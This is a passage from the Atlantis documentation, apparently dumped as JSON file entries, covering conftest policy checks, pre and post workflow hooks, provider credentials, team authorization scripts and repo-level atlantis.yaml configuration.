plan` commands will plan successfully but skip policy checks\n\nSee [Repo and Project Permissions](repo-and-project-permissions.md#server-option-gh-team-allowlist) for more information about team allowlists.\n:::\n\n### Step 2: Define the policy configuration\n\nPolicy Configuration is defined in the [server-side repo configuration](server-side-repo-config.md#reference).\n\nIn this example we will define one policy set with one owner:\n\n```yaml\npolicies:\n  owners:\n    users:\n      - nishkrishnan\n  policy_sets:\n    - name: deny_null_resource\n      path: <CODE_DIRECTORY>/policies/deny_null_resource/\n      source: local\n    - name: deny_local_exec\n      path: <CODE_DIRECTORY>/policies/deny_local_exec/\n      source: local\n      approve_count: 2\n      owners:\n        users:\n          - pseudomorph\n```\n\n- `name` - A name of your policy set.\n- `path` - Path to a policies directory. *Note: replace `<CODE_DIRECTORY>` with absolute dir path to conftest policy/policies.*\n- `source` - Tells atlantis where to fetch the policies from. Currently you can only host policies locally by using `local`.\n- `owners` - Defines the users/teams which are able to approve a specific policy set.\n- `approve_count` - Defines the number of approvals needed to bypass policy checks. Defaults to the top-level policies configuration, if not specified.\n- `prevent_self_approve` - Defines whether the PR author can approve policies\n\nBy default conftest is configured to only run the `main` package. If you wish to run specific/multiple policies consider passing `--namespace` or `--all-namespaces` to conftest with [`extra_args`](custom-workflows.md#adding-extra-arguments-to-terraform-commands) via a custom workflow as shown in the below example.\n\nExample Server Side Repo configuration using `--all-namespaces` and a local src dir.\n\n```yaml\nrepos:\n  - id: github.com/myorg/example-repo\n    workflow: custom\npolicies:\n  owners:\n    users:\n      - example-dev\n  policy_sets:\n    - name: example-conf-tests\n      path: /home/atlantis/conftest_policies  # Consider separate vcs & mount into container\n      source: local\nworkflows:\n  custom:\n    plan:\n      steps:\n        - init\n        - plan\n    policy_check:\n      steps:\n        - policy_check:\n            extra_args: [\"-p /home/atlantis/conftest_policies/\", \"--all-namespaces\"]\n```\n\n### Step 3: Write the policy\n\nConftest policies are based on [Open Policy Agent (OPA)](https://www.openpolicyagent.org/) and written in [rego](https://www.openpolicyagent.org/docs/latest/policy-language/#what-is-rego). Following our example, simply create a `rego` file in `null_resource_warning` folder with following code, the code below a simple policy that will fail for plans containing newly created `null_resource`s.\n\n```rego\npackage main\n\nresource_types = {\"null_resource\"}\n\n# all resources\nresources[resource_type] = all {\n    some resource_type\n    resource_types[resource_type]\n    all := [name |\n        name:= input.resource_changes[_]\n        name.type == resource_type\n    ]\n}\n\n# number of creations of resources of a given type\nnum_creates[resource_type] = num {\n    some resource_type\n    resource_types[resource_type]\n    all := resources[resource_type]\n    creates := [res |  res:= all[_]; res.change.actions[_] == \"create\"]\n    num := count(creates)\n}\n\ndeny[msg] {\n    num_resources := num_creates[\"null_resource\"]\n\n    num_resources > 0\n\n    msg := \"null resources cannot be created\"\n}\n\n```\n\nThat's it! Now your Atlantis instance is configured to run policies on your Terraform plans 🎉\n\n## Customizing the conftest command\n\n### Pulling policies from a remote location\n\nConftest supports [pulling policies](https://www.conftest.dev/sharing/#pulling) from remote locations such as S3, git, OCI, and other protocols supported by the [go-getter](https://github.com/hashicorp/go-getter) library. The key [`extra_args`](custom-workflows.md#adding-extra-arguments-to-terraform-commands) can be used to pass in the [`--update`](https://www.conftest.dev/sharing/#-update-flag) flag to tell `conftest` to pull the policies into the project folder before running the policy check.\n\n```yaml\nworkflows:\n  custom:\n    plan:\n      steps:\n        - init\n        - plan\n    policy_check:\n      steps:\n        - policy_check:\n            extra_args: [\"--update\", \"s3::https://s3.amazonaws.com/bucket/foo\"]\n```\n\nNote that authentication may need to be configured separately if pulling policies from sources that require it. For example, to pull policies from an S3 bucket, Atlantis host can be configured with a default AWS profile that has permission to `s3:GetObject` and `s3:ListBucket` from the S3 bucket.\n\n### Running policy check against Terraform source code\n\nBy default, Atlantis runs the policy check against the [`SHOWFILE`](custom-workflows.md#custom-run-command). In order to run the policy test against Terraform files directly, override the default `conftest` command used and pass in `*.tf` as one of the inputs to `conftest`. The `show` step is required so that Atlantis will generate the `SHOWFILE`.\n\n```yaml\nworkflows:\n  custom:\n    policy_check:\n      steps:\n        - show\n        - run: conftest test $SHOWFILE *.tf --no-fail\n```\n\n### Quiet policy checks\n\nBy default, Atlantis will add a comment to all pull requests with the policy check result - both successes and failures. Version 0.21.0 added the [`--quiet-policy-checks`](server-configuration.md#quiet-policy-checks) option, which will instead only add comments when policy checks fail, significantly reducing the number of comments when most policy check results succeed.\n\n### Data for custom run steps\n\nWhen the policy check workflow runs, a file is created in the working directory which contains information about the status of each policy set tested. This data may be useful in custom run steps to generate metrics or notifications. The file contains JSON data in the following format:\n\n```json\n[\n  {\n    \"PolicySetName\":  \"policy1\",\n    \"PolicyOutput\": \"\",\n    \"Passed\":         false,\n    \"ReqApprovals\":   1,\n    \"CurApprovals\":   0\n  }\n]\n\n```\n\n## Running policy check only on some repositories\n\nWhen policy checking is enabled it will be enforced on all repositories, in order to disable policy checking on some repositories first [enable policy checks](policy-checking.md#getting-started) and then disable it explicitly on each repository with the `policy_check` flag.\n\nFor server side config:\n\n```yml\n# repos.yaml\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: /special-repo/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n  policy_check: false\n```\n\nFor repo level `atlantis.yaml` config:\n\n```yml\nversion: 3\nprojects:\n- dir: project1\n  workspace: staging\n- dir: project1\n  workspace: production\n  policy_check: false\n```\n"
  },
  {
    "path": "runatlantis.io/docs/post-workflow-hooks.md",
    "content": "# Post Workflow Hooks\n\nPost workflow hooks can be defined to run scripts after default or custom\nworkflows are executed. Post workflow hooks differ from [custom\nworkflows](custom-workflows.md#custom-run-command) in that they are run\noutside of Atlantis commands. Which means they do not surface their output\nback to the PR as a comment.\n\n## Usage\n\nPost workflow hooks can only be specified in the Server-Side Repo Config under\nthe `repos` key.\n\n## Atlantis Command Targeting\n\nBy default, the workflow hook will run when any command is processed by Atlantis.\nThis can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list\nof Atlantis commands that the hook should be run for. Detail of the Atlantis commands\ncan be found in [Using Atlantis](using-atlantis.md).\n\n### Example\n\n```yaml\nrepos:\n    - id: /.*/\n      post_workflow_hooks:\n        - run: ./plan-hook.sh\n          description: Plan Hook\n          commands: plan\n        - run: ./plan-apply-hook.sh\n          description: Plan & Apply Hook\n          commands: plan, apply\n```\n\n## Use Cases\n\n### Cost estimation reporting\n\nYou can add a post workflow hook to perform custom reporting after all workflows\nhave finished.\n\nIn this example we use a custom workflow to generate cost estimates for each\nworkflow using [Infracost](https://www.infracost.io/docs/integrations/cicd/#cicd-integrations), then create a summary report after all workflows have completed.\n\n```yaml\n# repos.yaml\nworkflows:\n  myworkflow:\n    plan:\n      steps:\n      - init\n      - plan\n      - run: infracost breakdown --path=$PLANFILE --format=json --out-file=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-$WORKSPACE-$REPO_REL_DIR-infracost.json\nrepos:\n  - id: /.*/\n    workflow: myworkflow\n    post_workflow_hooks:\n      - run: infracost output --path=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-*-infracost.json --format=github-comment --out-file=/tmp/infracost-comment.md\n        description: Running infracost\n      # Now report the output as desired, e.g. post to GitHub as a comment.\n      # ...\n```\n\n## Customizing the Shell\n\nBy default, the commands will be run using the 'sh' shell with an argument of '-c'. This\ncan be customized using the `shell` and `shellArgs` keys.\n\nExample:\n\n```yaml\nrepos:\n    - id: /.*/\n      post_workflow_hooks:\n        - run: |\n            echo 'atlantis.yaml config:'\n            cat atlantis.yaml\n          description: atlantis.yaml report\n          shell: bash\n          shellArgs: -cv\n```\n\n## Reference\n\n### Custom `run` Command\n\nThis is very similar to [custom workflow run\ncommand](custom-workflows.md#custom-run-command).\n\n```yaml\n- run: custom-command\n```\n\n| Key         | Type   | Default | Required | Description           |\n| ----------- | ------ | ------- | -------- | --------------------- |\n| run         | string | none    | no       | Run a custom command  |\n| description | string | none    | no       | Post hook description |\n| shell       | string | 'sh'    | no       | The shell to use for running the command |\n| shellArgs   | string | '-c'    | no       | The shell arguments to use for running the command |\n\n::: tip Notes\n\n* `run` commands are executed with the following environment variables:\n  * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`.\n  * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`.\n  * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`.\n  * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`.\n  * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base)\n  * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs.\n  * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into)\n  * `PULL_NUM` - Pull request number or ID, ex. `2`.\n  * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`.\n  * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`.\n  * `DIR` - The absolute path to the root of the cloned repository.\n  * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`.\n  * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and\n    every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\\a\\r\\g\\1,\\a\\r\\g\\2`.\n  * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc.\n  * `COMMAND_HAS_ERRORS` - Indicates whether any errors occurred during the execution of the command (`plan`, `apply`). If set to `true`, at least one error was encountered; otherwise, it is `false`.\n  * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/pre-workflow-hooks.md",
    "content": "# Pre Workflow Hooks\n\nPre workflow hooks can be defined to run scripts before default or custom\nworkflows are executed. Pre workflow hooks differ from [custom\nworkflows](custom-workflows.md#custom-run-command) in several ways.\n\n1. Pre workflow hooks do not require the repository configuration to be\n   present. This can be utilized to [dynamically generate repo configs](pre-workflow-hooks.md#dynamic-repo-config-generation).\n2. Pre workflow hooks are run outside of Atlantis commands. Which means\n   they do not surface their output back to the PR as a comment.\n\n## Usage\n\nPre workflow hooks can only be specified in the Server-Side Repo Config under the\n`repos` key.\n\n::: tip Note\nBy default, `pre-workflow-hooks` do not prevent Atlantis from executing its\nworkflows(`plan`, `apply`) even if a `run` command exits with an error. This\nbehavior can be changed by setting the [fail-on-pre-workflow-hook-error](server-configuration.md#fail-on-pre-workflow-hook-error)\nflag in the Atlantis server configuration.\n:::\n\n## Atlantis Command Targeting\n\nBy default, the workflow hook will run when any command is processed by Atlantis.\nThis can be modified by specifying the `commands` key in the workflow hook containing a comma-delimited list\nof Atlantis commands that the hook should be run for. Detail of the Atlantis commands\ncan be found in [Using Atlantis](using-atlantis.md).\n\n### Example\n\n```yaml\nrepos:\n    - id: /.*/\n      pre_workflow_hooks:\n        - run: ./plan-hook.sh\n          description: Plan Hook\n          commands: plan\n        - run: ./plan-apply-hook.sh\n          description: Plan & Apply Hook\n          commands: plan, apply\n```\n\n## Use Cases\n\n### Dynamic Repo Config Generation\n\nTo generate the repo `atlantis.yaml` before Atlantis can parse it,\nadd a `run` command to `pre_workflow_hooks`. Your Repo config will be generated\nright before Atlantis parses it.\n\n```yaml\nrepos:\n    - id: /.*/\n      pre_workflow_hooks:\n        - run: ./repo-config-generator.sh\n          description: Generating configs\n```\n\n## Customizing the Shell\n\nBy default, the command will be run using the 'sh' shell with an argument of '-c'. This\ncan be customized using the `shell` and `shellArgs` keys.\n\nExample:\n\n```yaml\nrepos:\n    - id: /.*/\n      pre_workflow_hooks:\n        - run: |\n            echo \"generating atlantis.yaml\"\n            terragrunt-atlantis-config generate --output atlantis.yaml --autoplan --parallel\n          description: Generating atlantis.yaml\n          shell: bash\n          shellArgs: -cv\n```\n\n## Reference\n\n### Custom `run` Command\n\nThis is very similar to the [custom workflow run\ncommand](custom-workflows.md#custom-run-command).\n\n```yaml\n- run: custom-command\n```\n\n| Key         | Type   | Default | Required | Description          |\n| ----------- | ------ | ------- | -------- | -------------------- |\n| run         | string | none    | no       | Run a custom command |\n| description | string | none    | no       | Pre hook description |\n| shell       | string | 'sh'    | no       | The shell to use for running the command |\n| shellArgs   | string | '-c'    | no       | The shell arguments to use for running the command |\n\n::: tip Notes\n\n* `run` commands are executed with the following environment variables:\n  * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`.\n  * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`.\n  * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`.\n  * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`.\n  * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base)\n  * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs.\n  * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into)\n  * `PULL_NUM` - Pull request number or ID, ex. `2`.\n  * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`.\n  * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`.\n  * `DIR` - The absolute path to the root of the cloned repository.\n  * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`.\n  * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and\n      every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\\a\\r\\g\\1,\\a\\r\\g\\2`.\n  * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc.\n  * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/provider-credentials.md",
    "content": "# Provider Credentials\n\nAtlantis runs Terraform by simply executing `terraform plan` and `apply` commands\non the server Atlantis is hosted on.\nJust like when you run Terraform locally, Atlantis needs credentials for your\nspecific provider.\n\nIt's up to you how you provide credentials for your specific provider to Atlantis:\n\n* The Atlantis [Helm Chart](deployment.md#kubernetes-helm-chart) and\n    [AWS Fargate Module](deployment.md#aws-fargate) have their own mechanisms for provider\n    credentials. Read their docs.\n* If you're running Atlantis in a cloud then many clouds have ways to give cloud API access\n  to applications running on them, ex:\n  * [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for \"EC2 Role\")\n  * [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)\n* Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.\n* Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.\n* Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)\n  to obtain provider credentials.\n\n:::tip\nAs a general rule, if you can `ssh` or `exec` into the server where Atlantis is\nrunning and run `terraform` commands like you would locally, then Atlantis will work.\n:::\n\n## AWS Specific Info\n\n### Multiple AWS Accounts\n\nAtlantis supports multiple AWS accounts through the use of Terraform's\n[AWS Authentication](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for \"Authentication\").\n\nIf you're using the [Shared Credentials file](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for \"Shared Credentials file\")\nyou'll need to ensure the server that Atlantis is executing on has the corresponding credentials file.\n\nIf you're using [Assume role](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for \"Assume role\")\nyou'll need to ensure that the credentials file has a `default` profile that is able\nto assume all required roles.\n\nUsing multiple [Environment variables](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for \"Environment variables\")\nwon't work for multiple accounts since Atlantis wouldn't know which environment variables to execute\nTerraform with.\n\n### Assume Role Session Names\n\nIf you're using Terraform < 0.12, Atlantis injects 5 Terraform variables that can be used to dynamically name the assume role session name.\nSetting the `session_name` allows you to trace API calls made through Atlantis back to a specific\nuser and repo via CloudWatch:\n\n```bash\nprovider \"aws\" {\n  assume_role {\n    role_arn     = \"arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME\"\n    session_name = \"${var.atlantis_user}-${var.atlantis_repo_owner}-${var.atlantis_repo_name}-${var.atlantis_pull_num}\"\n  }\n}\n```\n\nAtlantis runs `terraform` with the following variables:\n\n| `-var` Argument                      | Description                                                                                                                            |\n|--------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|\n| `atlantis_user=lkysow`               | The VCS username of who is running the plan command.                                                                                   |\n| `atlantis_repo=runatlantis/atlantis` | The full name of the repo the pull request is in. NOTE: This variable can't be used in the AWS session name because it contains a `/`. |\n| `atlantis_repo_owner=runatlantis`    | The name of the **owner** of the repo the pull request is in.                                                                          |\n| `atlantis_repo_name=atlantis`        | The name of the repo the pull request is in.                                                                                           |\n| `atlantis_pull_num=200`              | The pull request number.                                                                                                               |\n\nIf you want to use `assume_role` with Atlantis and you're also using the [S3 Backend](https://developer.hashicorp.com/terraform/language/settings/backends/s3),\nmake sure to add the `role_arn` option:\n\n```bash\nterraform {\n  backend \"s3\" {\n    bucket   = \"mybucket\"\n    key      = \"path/to/my/key\"\n    region   = \"us-east-1\"\n    role_arn = \"arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME\"\n    # can't use var.atlantis_user as the session name because\n    # interpolations are not allowed in backend configuration\n    # session_name = \"${var.atlantis_user}\" WON'T WORK\n  }\n}\n```\n\n:::tip Why does this not work in TF >= 0.12?\nIn Terraform >= 0.12, you're not allowed to set any `-var` flags if those variables\naren't being used. Since we can't know if you're using these `atlantis_*` variables,\nwe can't set the `-var` flag.\n\nYou can still set these variables yourself using the `extra_args` configuration.\n:::\n\n## Next Steps\n\n* If you want to configure Atlantis further, read [Configuring Atlantis](configuring-atlantis.md)\n* If you're ready to use Atlantis, read [Using Atlantis](using-atlantis.md)\n"
  },
  {
    "path": "runatlantis.io/docs/repo-and-project-permissions.md",
    "content": "# Repo and Project Permissions\n\nSometimes it may be necessary to limit who can run which commands, such as\nrestricting who can apply changes to production, while allowing more\nfreedom for dev and test environments.\n\n## Authorization Workflow\n\nAtlantis performs two authorization checks to verify a user has the necessary\npermissions to run a command:\n\n1. After a command has been validated, before var files, repo metadata, or\n   pull request statuses are checked and validated.\n2. After pre workflow hooks have run, repo configuration processed, and\n   affected projects determined.\n\n::: tip Note\nThe first check should be considered as validating the user for a repository\nas a whole, while the second check is for validating a user for a specific\nproject in that repo.\n:::\n\n### Why check permissions twice?\n\nThe way Atlantis is currently designed, not all relevant information may be\navailable when the first check happens.  In particular, affected projects\nare not known because pre workflow hooks haven't run yet, so repositories\nthat use hooks to generate or modify repo configurations won't know which\nprojects to check permissions for.\n\n## Configuring permissions\n\nAtlantis has two options for allowing instance administrators to configure\npermissions.\n\n### Server option [`--gh-team-allowlist`](server-configuration.md#gh-team-allowlist)\n\nThe `--gh-team-allowlist` option allows administrators to configure a global\nset of permissions that apply to all repositories.  For most use cases, this\nshould be sufficient.\n\n::: warning\nIf you are using [policy checking](policy-checking.md), you must also allowlist the `policy_check` command:\n\n```bash\n--gh-team-allowlist=\"*:plan,*:policy_check,myteam:apply\"\n```\n\n`policy_check` is an internal command that runs automatically after `plan`. Without allowlisting it, manual `atlantis plan` commands will skip policy checks (though autoplans will still work). See [Policy Checking](policy-checking.md#step-1-enable-the-workflow) for details.\n:::\n\n### External command\n\nFor administrators that require more granular and specific permission\ndefinitions, an external command can be defined in the [server side repo\nconfiguration](server-side-repo-config.md#teamauthz).  This command will receive\ninformation about the command, repo, project, and GitHub teams the user is a\nmember of, allowing administrators to integrate the permissions validation\nwith other systems or business requirements.  An example would be allowing\nusers to apply changes to lower environments like dev and test environments\nwhile restricting changes to production or other sensitive environments.\n\n::: warning\nThese options are mutually exclusive.  If an external command is defined,\nthe `--gh-team-allowlist` option is ignored.\n:::\n\n## Example\n\n### Restrict production changes\n\nThis example shows a simple example of how a script could be used to restrict\nproduction changes to a specific team, while allowing anyone to work on other\nenvironments.  For brevity, this example assumes each user is a member of a\nsingle team.\n\n`server-side-repo-config.yaml`\n\n```yaml\nteam_authz:\n  command: \"/scripts/example.sh\"\n```\n\n`example.sh`\n\n```shell\n#!/bin/bash\n\n# Define name of team allowed to make production changes\nPROD_TEAM=\"example-org/prod-deployers\"\n\n# Set variables from command-line arguments for convenience\nCOMMAND=\"$1\"\nREPO=\"$2\"\nTEAM=\"$3\"\n\n# Check if we are running the 'apply' command on prod\nif [ \"${COMMAND}\" == \"apply\" -a \"${PROJECT_NAME}\" == \"prod\" ]\nthen\n   # Only the prod team can make this change\n   if [ \"${TEAM}\" == \"${PROD_TEAM}\" ]\n   then\n      echo \"pass\"\n      exit 0\n   fi\n\n   # Print reason for failing and exit\n   echo \"user \\\"${USER_NAME}\\\" must be a member of \\\"${PROD_TEAM}\\\" to apply changes to production.\"\n   exit 0\nfi\n\n# Any other command and environment is okay\necho \"pass\"\nexit 0\n```\n\n## Reference\n\n### External Command Execution\n\nExternal commands are executed on every authorization check with arguments and\nenvironment variables containing context about the command being checked. The\ncommand is executed using the following format:\n\n```shell\nexternal_command [external_args...] atlantis_command repo [teams...]\n```\n\n| Key                | Optional | Description                                                                               |\n|--------------------|----------|-------------------------------------------------------------------------------------------|\n| `external_command` | no       | Command defined in [server side repo configuration](server-side-repo-config.md)           |\n| `external_args`    | yes      | Command arguments defined in [server side repo configuration](server-side-repo-config.md) |\n| `atlantis_command` | no       | The atlantis command being run (`plan`, `apply`, etc)                                     |\n| `repo`             | no       | The full name of the repo being executed (format: `owner/repo_name`)                      |\n| `teams`            | yes      | A list of zero or more teams of the user executing the command                            |\n\nThe following environment variables are passed to the command on every execution:\n\n| Key                  | Description                                                                                                                                                                                                                           |\n|----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `BASE_REPO_NAME`     | Name of the repository that the pull request will be merged into, ex. `atlantis`.                                                                                                                                                     |\n| `BASE_REPO_OWNER`    | Owner of the repository that the pull request will be merged into, ex. `runatlantis`.                                                                                                                                                 |\n| `COMMAND_NAME`       | The name of the command that is being executed, i.e. `plan`, `apply` etc.                                                                                                                                                             |\n| `USER_NAME`          | Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`.                                                                                                |\n\nThe following environment variables are also passed to the command when checking project authorization:\n\n| Key                  | Description                                                                                                                                                                                                                           |\n|----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `BASE_BRANCH_NAME`   | Name of the base branch of the pull request (the branch that the pull request is getting merged into)                                                                                                                                 |\n| `COMMENT_ARGS`       | Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\\a\\r\\g\\1,\\a\\r\\g\\2`.                       |\n| `HEAD_REPO_NAME`     | Name of the repository that is getting merged into the base repository, ex. `atlantis`.                                                                                                                                               |\n| `HEAD_REPO_OWNER`    | Owner of the repository that is getting merged into the base repository, ex. `acme-corp`.                                                                                                                                             |\n| `HEAD_BRANCH_NAME`   | Name of the head branch of the pull request (the branch that is getting merged into the base)                                                                                                                                         |\n| `HEAD_COMMIT`        | The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. |\n| `PROJECT_NAME`       | Name of the project the command is being executed on                                                                                                                                                                                  |\n| `PULL_NUM`           | Pull request number or ID, ex. `2`.                                                                                                                                                                                                   |\n| `PULL_URL`           | Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`.                                                                                                                                                               |\n| `PULL_AUTHOR`        | Username of the pull request author, ex. `acme-user`.                                                                                                                                                                                 |\n| `REPO_ROOT`          | The absolute path to the root of the cloned repository.                                                                                                                                                                               |\n| `REPO_REL_PATH`      | Path to the project relative to `REPO_ROOT`                                                                                                                                                                                           |\n\n### External Command Result Handling\n\nAtlantis determines if a user is authorized to run the requested command by\nchecking if the external command exited with code `0` and if the last line\nof output is `pass`.\n\n```text\n# Pseudo-code of Atlantis evaluation of external commands\n\nuser_authorized =\n  external_command.exit_code == 0\n  && external_command.output.last_line == 'pass'\n```\n\n::: tip\n\n* A non-zero exit code means the command failed to evaluate the request for\nsome reason (bad configuration, missing dependencies, solar flares, etc).\n* If the command was able to run successfully, but determined the user is not\nauthorized, it should still exit with code `0`.\n  * The command output could contain the reasoning for the authorization failure.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/repo-level-atlantis-yaml.md",
    "content": "# Repo Level atlantis.yaml Config\n\nAn `atlantis.yaml` file specified at the root of a Terraform repo allows you\nto instruct Atlantis on the structure of your repo and set custom workflows.\n\n## Do I need an atlantis.yaml file?\n\n`atlantis.yaml` files are only required if you wish to customize some aspect of Atlantis.\nThe default Atlantis config works for many users without changes.\n\nRead through the [use-cases](#use-cases) to determine if you need it.\n\n## Enabling atlantis.yaml\n\nBy default, all repos are allowed to have an `atlantis.yaml` file,\nbut some of the keys are restricted by default.\n\nRestricted keys can be set in the server-side `repos.yaml` repo config file.\nYou can enable `atlantis.yaml` to override restricted\nkeys by setting the `allowed_overrides` key there. See the [Server Side Repo Config](server-side-repo-config.md) for\nmore details.\n\n**Notes:**\n\n- By default, repo root `atlantis.yaml` file is used.\n- You can change this behaviour by setting [Server Side Repo Config](server-side-repo-config.md)\n\n::: danger DANGER\nAtlantis uses the `atlantis.yaml` version from the pull request, similar to other\nCI/CD systems. If you're allowing users to [create custom workflows](server-side-repo-config.md#allow-repos-to-define-their-own-workflows)\nthen this means\nanyone that can create a pull request to your repo can run arbitrary code on the\nAtlantis server.\n\nBy default, this is not allowed.\n:::\n\n::: warning\nOnce an `atlantis.yaml` file exists in a repo and one or more `projects` are configured,\nAtlantis won't try to determine where to run plan automatically. Instead it will just\nfollow the project configuration. This means that you'll need to define each project\nin your repo.\n\nIf you have many directories with Terraform configuration, each directory will\nneed to be defined.\n\nThis behavior can be overridden by setting `autodiscover.mode` to\n`enabled` in which case Atlantis will still try to discover projects which were not\nexplicitly configured. If the directory of any discovered project conflicts with a\nmanually configured project, the manually configured project will take precedence.\n:::\n\n## Example Using All Keys\n\n```yaml\nversion: 3 # Available since v0.1.0\nautomerge: true # Available since v0.15.0\nautodiscover: # Available since v0.18.0\n  mode: auto\n  ignore_paths:\n  - some/path\ndelete_source_branch_on_merge: true # Available since v0.15.0\nparallel_plan: true # Available since v0.17.0\nparallel_apply: true # Available since v0.17.0\nabort_on_execution_order_fail: true # Available since v0.17.0\nprojects:\n- name: my-project-name # Available since v0.1.0\n  branch: /main/ # Available since v0.21.0\n  dir: . # Available since v0.1.0\n  workspace: default # Available since v0.1.0\n  terraform_distribution: terraform # Available since v0.33.0\n  terraform_version: v0.11.0 # Available since v0.1.0\n  delete_source_branch_on_merge: true # Available since v0.17.0\n  repo_locking: true # deprecated: use repo_locks instead, Available since v0.17.0\n  repo_locks: # Available since v0.17.0\n    mode: on_plan\n  custom_policy_check: false # Available since v0.17.0\n  autoplan: # Available since v0.1.0\n    when_modified: [\"*.tf\", \"../modules/**/*.tf\", \".terraform.lock.hcl\"]\n    enabled: true\n  plan_requirements: [mergeable, approved, undiverged] # Available since v0.17.0\n  apply_requirements: [mergeable, approved, undiverged] # Available since v0.17.0\n  import_requirements: [mergeable, approved, undiverged] # Available since v0.17.0\n  silence_pr_comments: [\"apply\"] # Available since v0.17.0\n  execution_order_group: 1 # Available since v0.17.0\n  depends_on: # Available since v0.20.0\n    - project-1\n  workflow: myworkflow # Available since v0.17.0\nworkflows: # Available since v0.1.0\n  myworkflow:\n    plan:\n      steps:\n      - run: my-custom-command arg1 arg2\n      - run:\n          command: my-custom-command arg1 arg2\n          output: hide\n      - init\n      - plan:\n          extra_args: [\"-lock\", \"false\"]\n      - run: my-custom-command arg1 arg2\n    apply:\n      steps:\n      - run: echo hi\n      - apply\nallowed_regexp_prefixes: # Available since v0.19.0\n- dev/\n- staging/\n```\n\n## Example of DRYing up projects using YAML anchors\n\n```yaml\nprojects:\n   - &template\n     name: template\n     dir: template\n     workflow: custom\n     autoplan:\n        enabled: true\n        when_modified:\n           - \"./terraform/modules/**/*.tf\"\n           - \"**/*.tf\"\n           - \".terraform.lock.hcl\"\n\n   - <<: *template\n     name: ue1-prod-titan\n     dir: ./terraform/titan\n     workspace: ue1-prod\n\n   - <<: *template\n     name: ue1-stage-titan\n     dir: ./terraform/titan\n     workspace: ue1-stage\n\n   - <<: *template\n     name: ue1-dev-titan\n     dir: ./terraform/titan\n     workspace: ue1-dev\n```\n\n## Auto generate projects\n\nThis is useful if you have many projects in a repository. This assumes the `default` workspace (or no workspace).\n\nRun this in the root of your repository. This will use gnu `grep` to search terraform files for an S3 backend (terraform dir), retrieve the directory path, retrieve the unique entries, and then use `yq` to return the YAML of a simple project dir setup which can then be modified to your liking.\n\n```sh\ngrep -P 'backend[\\s]+\"s3\"' **/*.tf |\n  rev | cut -d'/' -f2- | rev |\n  sort |\n  uniq |\n  while read d; do \\\n    echo '[ {\"name\": \"'\"$d\"'\",\"dir\": 